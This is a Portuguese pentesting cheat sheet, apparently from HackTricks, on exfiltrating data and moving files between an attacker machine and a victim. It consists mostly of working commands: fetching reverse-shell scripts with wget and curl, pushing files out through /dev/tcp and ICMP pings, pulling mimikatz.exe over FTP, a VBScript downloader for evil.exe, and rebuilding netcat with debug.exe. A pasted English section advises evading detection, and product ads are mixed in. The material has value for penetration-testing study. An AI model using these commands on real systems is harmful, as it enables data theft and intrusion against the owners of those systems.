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Exfiltração

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Domínios comumente permitidos para exfiltração de informações

Verifique https://lots-project.com/ para encontrar domínios comumente permitidos que podem ser abusados

Copiar e Colar Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Enviar arquivos

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Servidor HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Servidor FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Servidor FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Servidor FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Cliente Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

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SMB

Kali como servidor

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Ou crie um compartilhamento smb usando samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

Exfiltration

Overview

Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as:

  • Uploading data to an external server
  • Sending data via email
  • Using cloud storage services
  • Hiding data in images or other files
  • Encrypting data before exfiltration

Techniques

Data Compression

Data can be compressed before exfiltration to reduce its size and make it easier to transfer without raising suspicion.

Data Encryption

Encrypting data before exfiltration can help protect it from being intercepted or tampered with during transit.

Steganography

Steganography involves hiding data within other files, such as images, to avoid detection.

DNS Tunneling

DNS tunneling can be used to exfiltrate data by encoding it within DNS queries and responses.

Remote Access Tools

Remote access tools can be used to remotely access a target system and exfiltrate data.

Tools

  • WinRAR: A file compression tool that can be used to compress data before exfiltration.
  • VeraCrypt: A tool for encrypting data before exfiltration to enhance security.
  • OpenStego: A steganography tool for hiding data within other files.
  • Iodine: A tool for DNS tunneling to exfiltrate data covertly.
  • Netcat: A versatile networking tool that can be used for exfiltration.
  • Meterpreter: A post-exploitation tool that can be used for exfiltration in a compromised system.

Best Practices

  • Use encryption to protect exfiltrated data.
  • Employ data compression to reduce transfer times.
  • Use multiple exfiltration methods to avoid detection.
  • Regularly monitor outbound network traffic for suspicious activity.
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

O atacante precisa ter o SSHd em execução.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Se o alvo tiver SSH, o atacante pode montar um diretório do alvo para o atacante.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Baixar arquivo da vítima

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Enviar arquivo para a vítima

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Agradecimentos a @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Se você pode enviar dados para um servidor SMTP, você pode criar um SMTP para receber os dados com python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Por padrão no XP e 2003 (em outros sistemas, precisa ser adicionado explicitamente durante a instalação)

No Kali, inicie o servidor TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Servidor TFTP em python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

No alvo, conecte-se ao servidor Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Baixe um arquivo com um PHP oneliner:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Vítima

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Esta é uma técnica maluca que funciona em máquinas Windows de 32 bits. A ideia é usar o programa debug.exe. Ele é usado para inspecionar binários, como um depurador. Mas também pode reconstruí-los a partir de hex. Então a ideia é pegar binários, como netcat. E então desmontá-lo em hex, colá-lo em um arquivo na máquina comprometida e depois montá-lo com debug.exe.

Debug.exe só pode montar 64 kb. Então precisamos usar arquivos menores que isso. Podemos usar o upx para comprimi-lo ainda mais. Então vamos fazer isso:

upx -9 nc.exe

Agora ele pesa apenas 29 kb. Perfeito. Então agora vamos desmontá-lo:

wine exe2bat.exe nc.exe nc.txt

DNS

Agora basta copiar e colar o texto em nosso shell do Windows. E ele automaticamente criará um arquivo chamado nc.exe

Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. Experimente de graça hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: